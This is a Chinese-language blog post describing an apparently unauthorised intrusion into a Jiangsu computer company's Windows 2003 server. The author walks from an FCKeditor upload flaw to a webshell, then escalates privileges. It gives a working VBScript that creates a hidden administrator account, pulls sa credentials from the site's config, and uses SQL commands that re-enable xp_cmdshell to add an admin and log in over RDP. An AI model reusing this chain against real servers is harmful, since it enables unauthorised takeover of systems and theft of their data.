cmdshell降权峰回路转提权window 2003服务器过程
cmdshell降权峰回路转提权window 2003服务器过程
好久没写文章了,今天带来一篇cmdshell降权峰回路转提权window 2003服务器过程
目标:一家江苏计算机公司
架构类型:aspx
初步发现有未授权访问
但是上传无法返回图片地址
发现有fck,无奈走一波
可能有解析漏洞
直接访问
一切都很顺利
直接getshell
接下来,就是提权了额
发现出问题了,asp不能创建对象,上传了一个aspx试试
aspx权限应该够大,但是拒绝访问,看下可写目录
直接试试传一个cmd.exe
可以执行命令,看下什么权限
匿名权限,这时候我们执行下看看用户
没反应
没反应
没反应,貌似是降权了
看下其他命令
比如tasklist /svc
ipconfig /all
这些命令倒是可以,我们试试ms16032的exp
还是没有任何反应
不是正确的win32应用程序
,貌似是不能调用执行exp,可能跟cmd降权 net被禁用有关系
NET被禁用可以使用VBS去执行添加账号,但是这种思路也不太可行
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","0x80$")
od.SetPassword "0x80asdL*()"
od.SetInfo
Set of=GetObject(os&"/0x80$",user)
oe.add os&"/0x80$"
端口也不能查看,这就尴尬了
权限很小的情况下,复制sethc.exe估计也没有用
这时候,我们看下端口
就开了21,和80
有点难度
终端已经找到了,默认是打开的
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp PortNumber REG_DWORD 0x16b8
这时候我们看看其他地方有什么可以利用的
看看源码,找一找
找到两个文件
看看有没有数据库
<add name="wzConnectionString" connectionString="Data Source=.;Initial Catalog=xx;User ID=xx;Password=xx
" providerName="System.Data.SqlClient" />
看到这里就对了,还是sa权限
那我们在sa执行命令试试
但是sa爆出了Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
我们连接库
Driver={Sql Server};Server=(local);Database=x;Uid=sa;Pwd=x
发现一些数据库
发现一些敏感信息,由于连的是shell local
我们如果要解决Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程就必须得连到sql查询分析器解决,首先要知道外链端口是多少
默认是1433,可能已经改掉了
想到一条SQL语句可以查端口:
exec sys.sp_readerrorlog 0, 1, 'listening'
可能只有aspx权限可以试试了
连接格式:
没搞懂怎么会连接失败
可能连接格式错了
换成
Provider=SQLOLEDB.1;User ID=sa;Password=x;Initial Catalog=x;Data Source=(local);
通过查询得到了端口号
接下来使用sql查询分析器进行连接了
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
进行修复
现在应该可以执行了
然后使用exec添加管理员即可
访问终端,进入服务器
总结一下本次暴露的安全问题,首先是网站本身存在漏洞
CMD虽然被降权,但是MSSQL的SA权限依然存在安全风险
最终导致MSSQL提权服务器...
刚才查了一下,这个公司的注册资金1500万,还有大量的甲方客户
但自身安全确实做得不太到位....
<< 上一篇
下一篇 >>